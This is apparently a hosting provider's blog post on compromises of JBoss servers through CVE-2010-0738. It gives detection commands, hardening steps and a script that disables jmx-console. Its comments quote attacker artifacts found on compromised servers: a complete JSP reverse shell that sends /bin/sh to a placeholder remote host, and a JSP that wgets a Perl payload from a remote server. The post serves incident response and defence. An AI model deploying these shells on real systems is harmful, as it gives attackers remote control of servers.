Jboss Exploits

There is a JBoss exploit out in the wild.  See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0738 and https://access.redhat.com/kb/docs/DOC-30741 for details.

A common attach is to use the exploit to install a file that then permits a python file to launch and run.

e.g. you may see python running on your server when you are not expecting it.

top - 16:23:27 up 10 days,  7:06,  1 user,  load average: 1.00, 1.05, 1.07
Tasks:  66 total,   3 running,  63 sleeping,   0 stopped,   0 zombie
Cpu(s): 20.3%us, 13.0%sy,  0.0%ni, 66.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.4%st
Mem:   2048416k total,  2033204k used,    15212k free,   137864k buffers
Swap:   131064k total,    21164k used,   109900k free,  1334712k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
26051 jboss     20   0 76308 2824 1428 R 100.0  0.1 124:20.74 python
    1 root      20   0 10356  344  312 S  0.0  0.0   0:01.85 init
    2 root      15  -5     0    0    0 S  0.0  0.0   0:00.00 kthreadd

ps shows the following

root@hostname ~]# ps aux |egrep 'python|jboss'
jboss    26051 99.3  0.1  76308  2824 ?        R    14:18 124:44 python a.py

The contents of a.py is

import pty; pty.spawn('/bin/bash')

We will be following up to see what fixes there are if any, and versions affected etc.
http://www.vulnerabilitydatabase.com/toolswatch/2011/03/02/pentesting-jboss-servers-with-jboss-autopwn/

Most of the automated scanners target the open port 8080. And require that jmx-console.war be deployed.

If you are running boss now may be a good time to bind JBoss to the localhost IP address (vs. the public IP address). This wont remove the vulnerability, but is a nice way to reduce the exposure of your jboss server to targeted attacks. And allows you to take advantage of the apache logging facilities.

To do this edit /usr/local/jboss/bin/run.conf and look for the line that starts with JBOSS_OPTIONS= on it. And ensure that looks something like JBOSS_OPTIONS="-b 127.0.0.1" (and ensure there is not a line like: JBOSS_OPTIONS="-b 0.0.0.0"). After this change you will need to access your JBoss apps via apache.  See http://rimuhosting.com/mod_jk2_and_mod_proxy_ajp.jsp or pop in a sysadmin work ticket with your apps details and we can help with that.

Some commands to run to see if you are already exploited:

ps auxf | egrep 'jboss|java'

And look for 'odd process' e.g. not java.  e.g. ./2.6 or new.pl or some process not running with jboss as the parent.

Run this to find recently modified files:

find /usr/local/jboss/ -mtime -10 | grep -v tmp | grep -v '/log' | grep -v '/work'

Look for files like new.pl or 'random' war file names.
e.g. /usr/local/jboss/server/default/deploy/xn16epce.war
/usr/local/jboss/server/default/deploy/C1TRDrxK.war
/usr/local/jboss/server/default/deploy/NaS1TEv3.war
/usr/local/jboss/server/default/deploy/A5errCGm.war
/usr/local/jboss/bin/n.pl
/usr/local/jboss/bin/n.pl.1

Delete the files if they are exploits.

To disable jmx-console try:

jmxdirs=$(find /usr/local/jboss/server/ -maxdepth 3 -type d -name jmx-console.war); for jmx in $jmxdirs;
do newdir=$(echo $jmx | sed 's/\//_/g'); echo
"moving $jmx to $newdir";
mv $jmx $newdir;
done
 
/etc/init.d/jboss restart
This entry was posted in Security and tagged , , , . Bookmark the permalink.

3 Responses to Jboss Exploits

  1. Peter Bryant says:

    The exploit was used to create a webapp with a random name with this little snippet of jsp:
    < %@
    page import="java.lang.*, java.util.*, java.io.*, java.net.*"
    %>
    < %!
    static class StreamConnector extends Thread
    {
    InputStream is;
    OutputStream os;

    StreamConnector( InputStream is, OutputStream os )
    {
    this.is = is;
    this.os = os;
    }

    public void run()
    {
    BufferedReader in = null;
    BufferedWriter out = null;
    try
    {
    in = new BufferedReader( new InputStreamReader( this.is ) );
    out = new BufferedWriter( new OutputStreamWriter( this.os ) );
    char buffer[] = new char[8192];
    int length;
    while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
    {
    out.write( buffer, 0, length );
    out.flush();
    }
    } catch( Exception e ){}
    try
    {
    if( in != null )
    in.close();
    if( out != null )
    out.close();
    } catch( Exception e ){}
    }
    }
    %>
    < %
    try
    {
    Socket socket = new Socket( "chineiphere", 80 );
    Process process = Runtime.getRuntime().exec( "/bin/sh" );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    } catch( Exception e ) {}
    %>

  2. Peter Bryant says:

    < %@
    page import="java.lang.*, java.util.*, java.io.*, java.net.*"
    %>
    < %
    try
    {
    Process child = Runtime.getRuntime().exec( "wget http://remoteserverip/new.pl" );
    }
    catch (IOException e)
    {}

  3. Glenn Enright says:

    Updated the post to clarify that binding jboss to localhost does not remove the vulnerability by itself (thanks Yves).